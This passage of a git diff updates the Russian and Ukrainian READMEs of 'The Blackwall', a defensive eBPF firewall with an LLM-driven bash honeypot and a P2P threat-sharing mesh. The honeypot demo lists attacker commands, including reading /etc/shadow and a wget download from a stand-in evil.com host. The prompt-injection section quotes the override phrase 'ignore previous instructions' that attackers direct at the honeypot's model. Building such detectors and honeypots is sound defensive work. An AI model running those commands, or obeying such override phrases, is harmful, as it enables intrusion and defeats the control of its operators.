обязательны. Никакого одноисточникового доверия +- **Репутация** — пиры зарабатывают реп за хорошие IoC, теряют за фолсы. Плохие акторы слешатся +- **Защита от Sybil** — PoW-челленджи, детекция самоссылок в k-buckets, рейт-лимит регистрации +- **Федеративное обучение** — локальный тренинг + FedAvg-агрегация, шаринг градиентов (FHE-стаб) +- **Защита от data poisoning** — мониторинг распределения градиентов, детекция model inversion +- **ZKP-инфраструктура** — Groth16 стабы для trustless-верификации IoC + +### hivemind-api — Enterprise-интеграция (2,711 строк) + +REST API для подключения HiveMind-данных к корпоративным SIEM. + +- **STIX 2.1** — стандартный формат threat intelligence +- **TAXII 2.1** — протокол обмена угрозами +- **Splunk HEC** — HTTP Event Collector +- **QRadar LEEF** — Log Event Extended Format +- **CEF** — Common Event Format +- **Тирированное лицензирование** — Basic / Professional / Enterprise / NationalSecurity +- **Лайв-статистика** — XDP-каунтеры + P2P-метрики в реальном времени + +### hivemind-dashboard — Монитор (571 строка) + +TUI-дашборд. Чистый ANSI — без ratatui, без crossterm, сырые escape-коды. Лайв-статус сети. + +### blackwall-controller — Командный центр (356 строк) + +CLI для управления несколькими сенсорами. HMAC-аутентификация (PSK). Статистика, список заблокированных IP, здоровье всех нод из одного места. + +### common — Контракт (1,126 строк) + +`#[repr(C)]` типы между ядром и юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтеры, base64. Контракт, на котором построена вся система. + +### xtask — Билд-тулы (46 строк) + +`cargo xtask build-ebpf` — компиляция nightly + `bpfel-unknown-none`. --- -## Архитектура — как работает ICE +## Стек технологий -![Архитектура Blackwall](assets/architecture.svg) +| Уровень | Технология | Почему | +|---------|-----------|--------| +| Ядро | **aya-rs** (eBPF/XDP) | Чистый Rust eBPF — без C, без libbpf | +| Рантайм | **Tokio** (current_thread) | Однопоточный, без оверхеда | +| IPC | **RingBuf** | Zero-copy, 7.5% оверхед против 35% у PerfEventArray | +| Конкурентность | **papaya** + **crossbeam** | Lock-free мапы + MPMC-очереди | +| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS | +| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC | +| HTTP | **hyper** 1.x | Минимальный. Без веб-фреймворков | +| AI | **Ollama** | Локальный инференс, GGUF-квантизация | +| Конфиг | **TOML** | Читабельный, минимальный | +| Логирование | **tracing** | Структурированное. Zero `println!` в проде | -![Поток сигналов угроз](assets/signal-flow.svg) - -На языке Cyberpunk: - - - **XDP** = первый слой ICE Тёмного Заслона — решения за миллисекунды. - - **Поведенческий движок** = ИИ-наблюдение NetWatch. - - **Тарпит** = демон за Заслоном, заманивающий нетраннеров в фейковую реальность. - - **Threat Feeds** = разведка от фиксеров со всей Сети. - - **PCAP** = брейнданс-записи вторжения. +**22 зависимости.** Каждая обоснована. Без bloat-крейтов. --- -## Крейты воркспейса +## Деплой -| Крейт | Строки | Назначение | Аналог из Cyberpunk | -|-------|--------|------------|---------------------| -| `common` | ~400 | `#[repr(C)]` общие типы между ядром и юзерспейсом | Контракт — о чем обе стороны договорились | -| `blackwall-ebpf` | ~1 800 | XDP/TC программы в ядре | Сам ICE Тёмного Заслона | -| `blackwall` | ~4 200 | Юзерспейс-демон, поведенческий движок, ИИ | Центр управления NetWatch | -| `tarpit` | ~1 600 | TCP-ханипот с LLM bash-симуляцией | Демон, заманивающий нетраннеров | -| `blackwall-controller` | ~250 | Координатор распределенных сенсоров | C&C сервер Арасаки | -| `xtask` | ~100 | Инструменты сборки | Набор рипердока | +``` +deploy/ + docker/ + Dockerfile.blackwall # Multi-stage, stripped binary + Dockerfile.ebpf # Nightly eBPF build + helm/ + blackwall/ # K8s DaemonSet + ConfigMap + systemd/ + server/ # Серверные юниты + laptop/ # Dev/ноутбук юниты + examples/ # Примеры конфигов + healthcheck.sh # Проверка компонентов +``` -**Итого: ~8 500 строк Rust, 48 файлов, 123 теста, 0 `unwrap()` в продакшн-коде.** - ---- - -## Ключевые фичи - -### 1. Обработка пакетов на уровне ядра (XDP) - -Пакеты анализируются в виртуальной машине eBPF до того, как они доберутся до TCP/IP-стека. Это решения за **наносекунды**. HashMap для блок-листов, LPM trie для CIDR-диапазонов, анализ энтропии для зашифрованного C2-трафика. - -### 2. JA4 TLS-фингерпринтинг - -Каждый TLS ClientHello парсится в ядре. Cipher suites, расширения, ALPN, SNI — хешируются в JA4-фингерпринт. Ботнеты используют одни и те же TLS-библиотеки, поэтому их фингерпринты идентичны. Один фингерпринт → блокируешь тысячи ботов. - -### 3. Deep Packet Inspection (DPI) через Tail Calls - -eBPF `PROG_ARRAY` tail calls разбивают обработку по протоколами: - - - **HTTP**: Анализ метода + URI (подозрительные пути типа `/wp-admin`, `/phpmyadmin`). - - **DNS**: Длина запроса + количество лейблов (выявление DNS-туннелирования). - - **SSH**: Анализ баннера (идентификация `libssh`, `paramiko`, `dropbear`). - -### 4. ИИ-классификация угроз - -Когда поведенческий движок не уверен — он спрашивает LLM. Локально через Ollama с моделями ≤3B параметров (Qwen3 1.7B, Llama 3.2 3B). Классифицирует трафик как `benign`, `suspicious` или `malicious` со структурированным JSON-выходом. - -### 5. TCP-тарпит с LLM Bash-симуляцией - -Атакующих перенаправляют на фейковый сервер. LLM симулирует bash — `ls -la` показывает файлы, `cat /etc/shadow` показывает хеши, `mysql -u root` подключает к «базе данных». Ответы стримятся со случайным джиттером (чанки по 1-15 байт, экспоненциальный backoff), чтобы тратить время злоумышленника. - -### 6. Антифингерпринтинг - -Тарпит рандомизирует TCP window sizes, TTL-значения и добавляет случайную начальную задержку — чтобы атакующие не могли определить, что это ханипот, через p0f или Nmap OS detection. - -### 7. Защита от Prompt Injection - -Атакующие, которые поняли, что говорят с ИИ, могут попытаться `"ignore previous instructions"`. Система детектит 25+ паттернов инъекций и отвечает `bash: ignore: command not found`. - -### 8. Распределенная разведка угроз - -Несколько узлов Blackwall обмениваются списками заблокированных IP, JA4-наблюдениями и поведенческими вердиктами через кастомный бинарный протокол. Один узел обнаруживает сканер → все узлы блокируют его мгновенно. - -### 9. Поведенческая state machine - -Каждый IP получает поведенческий профиль: частота соединений, разнообразие портов, распределение энтропии, анализ таймингов (детекция beaconing через целочисленный коэффициент вариации). Прогрессия фаз: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`). - ---- - -## Технологический стек - -| Уровень | Технология | -|---------|------------| -| Программы ядра | eBPF/XDP через **aya-rs** (чистый Rust, без C, без libbpf) | -| Юзерспейс-демон | **Tokio** (только current_thread) | -| IPC | **RingBuf** zero-copy (7.5% overhead против 35% PerfEventArray) | -| Конкурентные мапы | **papaya** (lock-free read-heavy HashMap) | -| ИИ-инференс | **Ollama** + GGUF Q5_K_M квантизация | -| Конфигурация | **TOML** | -| Логирование | **tracing** структурированное логирование | -| Сборка | Кастомный **xtask** + nightly Rust + `bpfel-unknown-none` таргет | +Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal. --- @@ -171,51 +212,46 @@ eBPF `PROG_ARRAY` tail calls разбивают обработку по прот ### Требования - - Linux kernel 5.15+ с BTF (или WSL2 с кастомным ядром). - - Rust nightly + компонент `rust-src`. - - `bpf-linker` (`cargo install bpf-linker`). - - Ollama (для ИИ-функций). +- Linux 5.15+ с BTF (или WSL2 с кастомным ядром) +- Rust stable + nightly с `rust-src` +- `bpf-linker` — `cargo install bpf-linker` +- Ollama (опционально, для AI) ### Сборка ```bash -# eBPF-программы (нужен nightly) -cargo xtask build-ebpf - -# Юзерспейс -cargo build --release -p blackwall - -# Ханипот -cargo build --release -p tarpit - -# Линтер + тесты -cargo clippy --workspace -- -D warnings -cargo test --workspace -```` +cargo xtask build-ebpf # eBPF (nightly) +cargo build --release --workspace # весь юзерспейс +cargo clippy --workspace -- -D warnings # линт +cargo test --workspace # 298 тестов +``` ### Запуск ```bash -# Демон (нужен root/CAP_BPF) -sudo RUST_LOG=info ./target/release/blackwall config.toml - -# Тарпит -RUST_LOG=info ./target/release/tarpit - -# Распределенный контроллер -./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471 +sudo RUST_LOG=info ./target/release/blackwall config.toml # нужен root/CAP_BPF +RUST_LOG=info ./target/release/tarpit # ханипот +RUST_LOG=info ./target/release/hivemind # P2P-нода +RUST_LOG=info ./target/release/hivemind-api # API threat-фидов +./target/release/hivemind-dashboard # TUI +BLACKWALL_PSK= ./target/release/blackwall-controller stats : ``` -### Конфигурация +### Конфиг ```toml [network] interface = "eth0" xdp_mode = "generic" +[thresholds] +entropy_anomaly = 6000 + [tarpit] enabled = true -port = 9999 +port = 2222 +base_delay_ms = 100 +max_delay_ms = 30000 [tarpit.services] ssh_port = 22 @@ -227,6 +263,11 @@ dns_port = 53 enabled = true ollama_url = "http://localhost:11434" model = "qwen3:1.7b" +fallback_model = "qwen3:0.6b" + +[rules] +blocklist = ["1.2.3.4"] +allowlist = ["127.0.0.1"] [feeds] enabled = true @@ -235,87 +276,127 @@ refresh_interval_secs = 3600 [pcap] enabled = true output_dir = "/var/lib/blackwall/pcap" -compress_rotated = true [distributed] enabled = false mode = "standalone" bind_port = 9471 +psk = "your-256bit-hex-key" ``` -## Визуальные результаты +--- -![Визуальные результаты Blackwall](assets/results-overview.svg) +## Тарпит в действии ------ - -## Связь с Cyberpunk - -Во вселенной Cyberpunk 2077 **Blackwall** построили после DataKrash 2022 года — когда вирус R.A.B.I.D.S. Рейча Бартмосса уничтожил старую Сеть. NetWatch построил Тёмный Заслон как барьер, чтобы сдержать диких ИИ, эволюционировавших в руинах. - -Некоторые персонажи — такие как Альт Каннингем — существуют за Тёмным Заслоном, превращенные во что-то большее, чем человек, и меньшее, чем живое существо. - -Этот проект берет эту концепцию и делает ее реальной (ну, почти): - -| Cyberpunk 2077 | The Blackwall (Этот проект) | -|----------------|-----------------------------| -| Тёмный Заслон | eBPF/XDP файрвол на уровне ядра | -| ICE | XDP fast-path DROP + энтропия + JA4 | -| Атаки нетраннеров | Сканирование портов, брутфорс, C2 beaconing | -| Демоны за Заслоном | LLM-тарпит, который притворяется настоящим сервером | -| Наблюдение NetWatch | Поведенческий движок + state machine на IP | -| Дикие ИИ | Ботнеты и автоматические сканеры | -| Записи Брейнданса | PCAP-форензика | -| Разведка фиксеров | Threat feeds (Firehol, abuse.ch) | -| C\&C Арасаки | Распределенный контроллер | - ------ - -## Статистика проекта +Подключаешься к тарпиту и видишь: ``` -Язык: 100% Rust (без C, без Python, без shell-скриптов в продакшене) -Строки кода: ~8 500 -Файлы: 48 -Тесты: 123 -unwrap(): 0 (в продакшн-коде) -Зависимости: 12 (проверенные, без лишнего) -eBPF стек: всегда ≤ 512 байт -Clippy: никаких предупреждений (-D warnings) +Ubuntu 24.04.2 LTS web-prod-03 tty1 + +web-prod-03 login: root +Password: +Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 + +root@web-prod-03:~# ``` ------ +Ничего из этого не существует. LLM играет в bash. `ls` — файлы. `cat /etc/passwd` — юзеры. `mysql -u root -p` — подключение. `wget http://evil.com/payload` — загрузка. -## Философия разработки +30 минут на сервере, которого нет. Каждый кейстрок записан. IoC расшарены в сеть. -> *"Сколько бы раз я ни видел Найт-Сити... он всегда захватывает дух."* +--- -1. **Никаких зависимостей, где это возможно.** Если алгоритм занимает меньше 500 строк — пишешь сам. Никакого `reqwest` (50+ транзитивных зависимостей), никакого `clap` (излишне для 2 аргументов CLI). -2. **Контракт на первом месте.** Крейт `common` определяет все общие типы. eBPF и юзерспейс никогда не спорят о структуре памяти. -3. **Никаких шорткатов в eBPF.** Каждый доступ `ctx.data()` имеет bounds check. Не потому что верификатор требует, а потому что каждый байт из пакетов атакующего — это враждебный ввод. -4. **Тарпит никогда не выдает себя.** Системный промпт LLM никогда не упоминает "ханипот". Prompt injection ожидается и заблокирован. -5. **Наблюдаемый, но не болтливый.** Структурированное tracing с уровнями. Никаких `println!` в продакшене. +## Модель безопасности ------ +- Каждый байт из пакетов = контролируемый атакующим. Все `ctx.data()` с bounds-check +- Zero `unwrap()` в проде — `?`, `expect("reason")`, или `match` +- Prompt injection: ожидается. 25+ паттернов ловится, симуляция не ломается +- P2P: Sybil guard (PoW + слешинг репутации), N-of-M консенсус по IoC +- Тарпит: TCP-рандомизация — p0f/Nmap не смогут зафингерпринтить +- Контроллер: HMAC-аутентифицированный, без неавторизованного доступа +- Ядро: рейт-лимитинг предотвращает переполнение RingBuf +- Шатдаун: чистит правила фаервола, никаких осиротевших iptables-записей + +--- + +## Enterprise-версия + +**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** добавляет то, чего нет ни у кого: **анализ Agent-to-Agent (A2A) трафика в реальном времени на уровне ядра.** + +AI-агенты начинают общаться друг с другом — LLM-to-LLM, через MCP, A2A-протокол, агентные фреймворки. Это новая поверхность атаки: prompt injection через межагентную коммуникацию, подделка интентов, кража идентичности агентов. На рынке ничего для этого нет. Blackwall Enterprise — первый и единственный такой модуль. + +**~8,400 строк Rust.** Отдельный репозиторий, отдельная лицензия. + +| Компонент | Что делает | +|-----------|-----------| +| **A-JWT Валидация** | Верификация Agentic JWT по IETF-драфту. Проверка подписи через `ring`, предотвращение реплея, кеширование ключей | +| **Верификация интентов** | Исчерпывающий матчинг полей — `max_amount`, `allowed_recipients` (glob), allowlist действий | +| **Чексума агента** | SHA256(system_prompt + tools_config) — тамперинг = мгновенный блок | +| **Proof-of-Possession** | cnf/jwk ECDSA-привязка — доказывает, что агент держит свой ключ | +| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехватывает A2A-плейнтекст без разрыва TLS | +| **Risk-Based Routing** | Конфигурируемые policy: allow / review / block по уровню риска | +| **ZK Proofs** | Аттестация нарушений без раскрытия сырого трафика (Groth16) | +| **P2P Gossip** | Proof нарушений бродкастятся в HiveMind-меш | + +**Лицензирование:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com) + +--- + +## Статистика + +``` +Язык: 100% Rust +Всего: ~21,200 строк +Файлов: 92 .rs +Крейтов: 10 +Тестов: 298 +unwrap(): 0 в проде +Зависимостей: 22 (проаудированные) +eBPF-стек: ≤ 512 байт всегда +Clippy: -D warnings, ноль проблем +CI: check + clippy + tests + eBPF nightly build +``` + +--- + +## Киберпанк-справочник + +| Cyberpunk 2077 | Этот проект | +|----------------|-----------| +| The Blackwall | Файрвол на уровне ядра eBPF/XDP | +| ICE | XDP fast-path: энтропия + JA4 + DPI + DNAT | +| Демоны | LLM-тарпит — фейковый сервер за стеной | +| NetWatch | Поведенческий движок + автомат по IP | +| Rogue AIs | Ботнеты, сканеры, C2-биконы | +| Braindance | PCAP-форензика | +| Коллектив нетраннеров | HiveMind P2P-меш | +| Инфа от фиксеров | Threat-фиды | +| Arasaka C&C | Распределённый контроллер | + +--- ## Дисклеймер -Это исследовательский проект в сфере безопасности. Создан для вашей собственной инфраструктуры, в оборонительных целях. Не используйте для атак на других. Не развертывайте тарпит на продакшн-серверах, не понимая последствий. +Исследовательский проект в сфере безопасности. Для защиты вашей собственной инфраструктуры. Не используйте против других. -Я не аффилирован с CD Projekt Red. Я просто сыграл в их игру, и она сломала мне мозг лучшим из возможных способов. +Не аффилирован с CD Projekt Red. Просто игра, которая перепрошила мой мозг наилучшим образом. ------ +--- ## Лицензия -BSL 1.1 — потому что Сеть нуждается и в свободе, и в устойчивом развитии. +**BSL 1.1** (Business Source License) ------ +Лицензиар: Vladyslav Soliannikov +Change Date: April 8, 2030 +Change License: Apache-2.0 + +---

-Хотите, чтобы это развивалось дальше? — Поставьте звезду! +Нравится? Ставь звезду

-"Проснись, самурай. Нам еще сеть защищать." +"Просыпайся, самурай. У нас сеть — защищать."

diff --git a/README_UA.md b/README_UA.md index 0a46331..1ccda06 100644 --- a/README_UA.md +++ b/README_UA.md @@ -8,212 +8,250 @@

The Blackwall
- Адаптивний eBPF-файрвол з AI-ханіпотом + Адаптивний eBPF файрвол з AI-ханіпотом та P2P загрозовою мережею

-# The Blackwall — Я написав розумний файрвол, бо Cyberpunk 2077 зламав мені мозок +# The Blackwall — Я побудував справжній Блеквол, бо Cyberpunk 2077 зламав мені мозок

- - - - + + + + +

-"За Чорною Стіною є речі, від погляду на які нетраннер миттєво згорить."
-— Альт Каннінгем, імовірно +"За Блекволом є речі, від погляду на які у нетраннера вигорить мозок."
+— Альт Каннінгем, мабуть

Зараз будую enterprise AI-автоматизацію в Dokky
-Відкритий для Enterprise Consulting & Y-Combinator: xzcrpw1@gmail.com +Enterprise ліцензування та консалтинг: xzcrpw1@gmail.com

------ +--- -**Коротко:** я грав у Cyberpunk 2077 і подумав: *"А що, якби Blackwall був справжнім?"* Тож я написав адаптивний eBPF-файрвол із ШІ-ханіпотом, який вдає із себе зламаний Linux-сервер. -**\~8 500 рядків Rust. Жодного `unwrap()`. Одна людина.** +**TL;DR:** Грав у Cyberpunk, надихнувся, написав цілий адаптивний файрвол, що працює всередині ядра Linux, ловить загрози за допомогою AI, заманює атакерів у фейковий сервер на базі LLM, і ділиться загрозовою інфою через децентралізовану P2P-мережу. +**~21к рядків Rust. 298 тестів. 10 крейтів. Одна людина.** ------ +--- -## Що це таке? +## Що це? -У лорі Cyberpunk 2077 **Blackwall (Чорна Стіна)** — це цифровий бар'єр, побудований NetWatch, щоб відділити цивілізовану Мережу від диких ШІ — цифрових створінь настільки небезпечних, що один погляд на них може спалити тобі мозок через нейроінтерфейс. +**The Blackwall** — назва від цифрового бар'єру з Cyberpunk 2077, який тримає рогів AI від цивілізованого Нету. -Цей проєкт — моя версія. Не від диких ШІ (поки що), а від реальних загроз. +Моя версія. Багаторівнева система захисту, яка не просто блокує загрози — вона їх вивчає, ловить в пастку і розповідає про них кожному іншому вузлу. -**The Blackwall** — це **адаптивний мережевий файрвол**, який: +Три ключові рівні, що працюють разом: - - Працює **всередині ядра Linux** через eBPF/XDP — обробляє пакети на швидкості лінії ще до того, як вони потрапляють у мережевий стек. - - Виконує **JA4 TLS-фінгерпринтинг** — ідентифікує зловмисних клієнтів за їхнім ClientHello. - - **Не просто блокує атакуючих** — він *перенаправляє їх у тарпіт*, фейковий Linux-сервер на базі LLM, який грає роль зламаного `root@web-prod-03`. - - Має **поведінковий рушій**, що відстежує поведінку кожної IP-адреси із часом — патерни сканування портів, інтервали beacon-з'єднань, аномалії ентропії. - - Підтримує **розподілений режим** — декілька вузлів Blackwall обмінюються даними про загрози peer-to-peer. - - Записує **PCAP** підозрілого трафіку для форензики. - - Включає **Deception Mesh** — підроблені SSH, HTTP (WordPress), MySQL та DNS-сервіси, щоб заманювати та фінгерпринтити атакуючих. +**1. Файрвол на рівні ядра (eBPF/XDP)** — аналіз пакетів відбувається всередині ядра Linux ще до того, як трафік потрапить в мережевий стек. Рішення за наносекунди. Ентропійний аналіз, TLS-фінгерпринтинг, глибока інспекція пакетів, рейт-лімітинг, трекінг з'єднань — все працює в BPF віртуальній машині. -### Найцікавіша частина +**2. AI-ханіпот (Tarpit)** — замість того, щоб просто дропати зловмисний трафік, він перенаправляється на фейковий Linux-сервер. LLM симулює bash, відповідає на команди, подає фейкові файли, грає роль зламаного `root@web-prod-03`. Атакери витрачають свій час, поки все записується. -Коли зловмисник підключається до тарпіту, він бачить: +**3. P2P загрозова мережа (HiveMind)** — вузли знаходять один одного, обмінюються IoC через зашифровану libp2p-мережу, голосують за загрози через консенсус, трекають репутацію пірів. Одна нода ловить сканер — всі інші дізнаються за секунди. + +Плюс: розподілений контролер сенсорів, API для інтеграції з SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведінковий профайлінг по кожному IP, інгест загрозових фідів, PCAP-форензіка. + +--- + +## Архітектура + +![Blackwall Architecture](assets/architecture.svg) + +![Threat Signal Flow](assets/signal-flow.svg) + +**Пайплайн:** ``` -Ubuntu 24.04.2 LTS web-prod-03 tty1 - -web-prod-03 login: root -Password: -Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1 - -root@web-prod-03:~# +Пакет приходить + → XDP: ентропія, блокліст/вайтліст, CIDR, рейт-ліміт, JA4, DPI + → RingBuf (zero-copy) → Демон в юзерспейсі + → Статичні правила → Поведінковий автомат → JA4 БД → LLM класифікація + → Вердикт: PASS / DROP / REDIRECT_TO_TARPIT + → eBPF BLOCKLIST оновлюється в реальному часі + → IoC розшарюється в HiveMind P2P-мережу ``` -Це все несправжнє. Це LLM, що прикидається bash-ем. Він реагує на `ls`, `cat /etc/passwd`, `wget`, навіть `rm -rf /` — усе фейкове, усе логується, усе створене, щоб марнувати час атакуючого, поки ми вивчаємо його методи. +--- -**Уявіть: зловмисник витрачає 30 хвилин, досліджуючи «зламаний сервер»... який насправді є ШІ, що тягне час, поки Blackwall мовчки записує все.** +## Що робить кожен крейт -Це нетраннерство рівня V. +### blackwall-ebpf — Рівень ядра (1,334 рядки) ------ +eBPF-програми на XDP-хуку — найраніша точка, де можна торкнутись пакета. Працює під жорсткими правилами BPF-верифікатора: 512 байт стеку, без хіпа, без float, тільки обмежені цикли. -## Архітектура — як працює ICE +- **Розрахунок ентропії** — частотний аналіз байтів, цілочисельна ентропія Шеннона (0–7936). Висока ентропія на не-TLS портах → зашифрований C2-трафік +- **TLS-фінгерпринтинг** — парсить ClientHello, витягує cipher suites, extensions, ALPN, SNI → JA4-відбиток. Один фінгерпринт покриває тисячі ботів з тією ж TLS-лібою +- **DPI через tail calls** — `PROG_ARRAY` диспатчить протокольні аналізатори: + - HTTP: метод + URI (ловить `/wp-admin`, `/phpmyadmin`, path traversal) + - DNS: довжина запиту + кількість лейблів (детекція DNS-тунелювання) + - SSH: фінгерпринтинг банера (`libssh`, `paramiko`, `dropbear`) +- **DNAT-редірект** — підозрілий трафік тихо NAT'иться на тарпіт. Атакер не знає, що покинув реальний сервер +- **Трекінг з'єднань** — stateful TCP-моніторинг, LRU-мап (16K записів) +- **Рейт-лімітинг** — per-IP token bucket, запобігає флуду і переповненню RingBuf +- **4 RingBuf-канали** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS -![Архітектура Blackwall](assets/architecture.svg) +Мапи: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапи. -![Потік сигналів загроз](assets/signal-flow.svg) +### blackwall — Мозок (6,362 рядки) -Мовою Cyberpunk: +Головний демон. Завантажує eBPF-програми, споживає евенти з RingBuf, запускає пайплайн рішень. - - **XDP** = перший шар ICE Чорної Стіни — рішення за мілісекунди. - - **Поведінковий рушій** = ШІ-спостереження NetWatch. - - **Тарпіт** = демон за стіною, що заманює нетраннерів у фейкову реальність. - - **Threat Feeds** = розвідка від фіксерів з усієї Мережі. - - **PCAP** = брейнданс-записи вторгнення. +- **Rules engine** — статичний блокліст/вайтліст, CIDR-діапазони з конфіга + фіди +- **Поведінковий автомат** — профайлінг по IP: частота з'єднань, різноманіття портів, розподіл ентропії, аналіз таймінгу. Фази: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`). Детекція біконінгу через цілочисельний CoV +- **JA4-база** — матчинг TLS-фінгерпринтів з відомими шкідливими сигнатурами +- **AI-класифікація** — інтеграція з Ollama, моделі ≤3B параметрів (Qwen3 1.7B/0.6B). Батчинг евентів, структуровані JSON-вердикти +- **Загрозові фіди** — інгест зовнішніх фідів (Firehol, abuse.ch) +- **PCAP-захоплення** — форензічний запис з ротацією + компресією +- **Зворотний зв'язок у реальному часі** — вердикти пишуться назад у eBPF BLOCKLIST +- **HiveMind-бридж** — підтверджені IoC шарються в P2P-мережу ------ +### tarpit — Пастка (2,179 рядків) -## Крейти воркспейсу +Рівень обману. Атакери, перенаправлені сюди через DNAT, думають, що потрапили на реальний сервер. -| Крейт | Рядки | Призначення | Аналог із Cyberpunk | -|-------|-------|-------------|---------------------| -| `common` | \~400 | `#[repr(C)]` спільні типи між ядром і юзерспейсом | Контракт — про що обидві сторони домовились | -| `blackwall-ebpf` | \~1 800 | XDP/TC програми в ядрі | Сам ICE Чорної Стіни | -| `blackwall` | \~4 200 | Юзерспейс-демон, поведінковий рушій, ШІ | Центр управління NetWatch | -| `tarpit` | \~1 600 | TCP-ханіпот з LLM bash-симуляцією | Демон, що заманює нетраннерів | -| `blackwall-controller` | \~250 | Координатор розподілених сенсорів | C\&C сервер Арасаки | -| `xtask` | \~100 | Інструменти збірки | Набір ріпердока | +- **Авто-детекція протоколу** — визначає SSH, HTTP, MySQL, DNS по першим байтам +- **Хендлери протоколів:** + - SSH: банер, авторизація, PTY-сесія + - HTTP: фейковий WordPress, `/wp-admin`, `.env`, реалістичні хедери + - MySQL: хендшейк, авторизація, відповіді з фейковими даними + - DNS: правдоподібні відповіді на запити +- **LLM-симуляція bash** — кожна команда → Ollama. `ls -la` повертає файли, `cat /etc/shadow` — хеші, `wget` — "завантажує", `mysql -u root` — "підключається". LLM не знає, що це ханіпот +- **Експоненціальний джиттер** — чанки 1-15 байт, затримка 100мс–30с. Максимум витраченого часу +- **Анти-фінгерпринтинг** — рандомізовані TCP window, TTL, початкова затримка. p0f/Nmap не розпізнають +- **Захист від prompt injection** — 25+ паттернів, симуляція ніколи не ламається +- **Credential canaries** — всі введені креди логуються +- **Управління сесіями** — стан по з'єднанню, історія команд, трекінг CWD -**Разом: \~8 500 рядків Rust, 48 файлів, 123 тести, 0 `unwrap()` у продакшн-коді.** +### hivemind — Мережа (6,526 рядків) ------ +Децентралізований threat intelligence на libp2p. -## Ключові фічі +- **Транспорт** — QUIC + Noise-шифрування, кожне з'єднання автентифіковане +- **Пошук пірів** — Kademlia DHT (глобальний), mDNS (локальний), конфігуровані seed-піри +- **Обмін IoC** — GossipSub pub/sub, пропагація по мережі за секунди +- **Консенсус** — N незалежних підтверджень обов'язкові. Ніякої одноджерельної довіри +- **Репутація** — піри заробляють реп за хороші IoC, втрачають за фолси. Погані актори слешуються +- **Захист від Sybil** — PoW-челенджі, детекція самопосилань в k-buckets, рейт-ліміт реєстрації +- **Федеративне навчання** — локальний тренінг + FedAvg-агрегація, шарінг градієнтів (FHE-стаб) +- **Захист від data poisoning** — моніторинг розподілу градієнтів, детекція model inversion +- **ZKP-інфраструктура** — Groth16 стаби для trustless-верифікації IoC -### 1\. Обробка пакетів на рівні ядра (XDP) +### hivemind-api — Enterprise-інтеграція (2,711 рядків) -Пакети аналізуються у віртуальній машині eBPF до того, як вони дістануться до TCP/IP-стека. Це рішення за **наносекунди**. HashMap для блоклістів, LPM trie для CIDR-діапазонів, аналіз ентропії для зашифрованого C2-трафіку. +REST API для підключення HiveMind-даних до корпоративних SIEM. -### 2\. JA4 TLS-фінгерпринтинг +- **STIX 2.1** — стандартний формат threat intelligence +- **TAXII 2.1** — протокол обміну загрозами +- **Splunk HEC** — HTTP Event Collector +- **QRadar LEEF** — Log Event Extended Format +- **CEF** — Common Event Format +- **Тіроване ліцензування** — Basic / Professional / Enterprise / NationalSecurity +- **Лайв-статистика** — XDP-каунтери + P2P-метрики в реальному часі -Кожен TLS ClientHello парситься в ядрі. Cipher suites, розширення, ALPN, SNI — хешуються в JA4-фінгерпринт. Ботнети використовують ті самі TLS-бібліотеки, тому їхні фінгерпринти ідентичні. Один фінгерпринт → блокуєш тисячі ботів. +### hivemind-dashboard — Монітор (571 рядок) -### 3\. Deep Packet Inspection (DPI) через Tail Calls +TUI-дашборд. Чистий ANSI — без ratatui, без crossterm, сирі escape-коди. Лайв-статус мережі. -eBPF `PROG_ARRAY` tail calls розбивають обробку за протоколами: +### blackwall-controller — Командний центр (356 рядків) - - **HTTP**: Аналіз методу + URI (підозрілі шляхи типу `/wp-admin`, `/phpmyadmin`). - - **DNS**: Довжина запиту + кількість лейблів (виявлення DNS-тунелювання). - - **SSH**: Аналіз банера (ідентифікація `libssh`, `paramiko`, `dropbear`). +CLI для управління декількома сенсорами. HMAC-автентифікація (PSK). Статистика, список заблокованих IP, здоров'я всіх нод з одного місця. -### 4\. ШІ-класифікація загроз +### common — Контракт (1,126 рядків) -Коли поведінковий рушій не впевнений — він питає LLM. Локально через Ollama з моделями ≤3B параметрів (Qwen3 1.7B, Llama 3.2 3B). Класифікує трафік як `benign`, `suspicious` або `malicious` зі структурованим JSON-виходом. +`#[repr(C)]` типи між ядром і юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтери, base64. Контракт, на якому побудована вся система. -### 5\. TCP-тарпіт з LLM Bash-симуляцією +### xtask — Білд-тули (46 рядків) -Атакуючих перенаправляють на фейковий сервер. LLM симулює bash — `ls -la` показує файли, `cat /etc/shadow` показує хеші, `mysql -u root` підключає до «бази даних». Відповіді стрімляться з випадковим джитером (чанки по 1-15 байт, експоненціальний backoff), щоб марнувати час зловмисника. +`cargo xtask build-ebpf` — компіляція nightly + `bpfel-unknown-none`. -### 6\. Антифінгерпринтинг +--- -Тарпіт рандомізує TCP window sizes, TTL-значення та додає випадкову початкову затримку — щоб атакуючі не могли визначити, що це ханіпот, через p0f або Nmap OS detection. +## Стек технологій -### 7\. Захист від Prompt Injection +| Рівень | Технологія | Чому | +|--------|-----------|------| +| Ядро | **aya-rs** (eBPF/XDP) | Чистий Rust eBPF — без C, без libbpf | +| Рантайм | **Tokio** (current_thread) | Однопотоковий, без оверхеду | +| IPC | **RingBuf** | Zero-copy, 7.5% оверхед проти 35% у PerfEventArray | +| Конкурентність | **papaya** + **crossbeam** | Lock-free мапи + MPMC-черги | +| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS | +| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC | +| HTTP | **hyper** 1.x 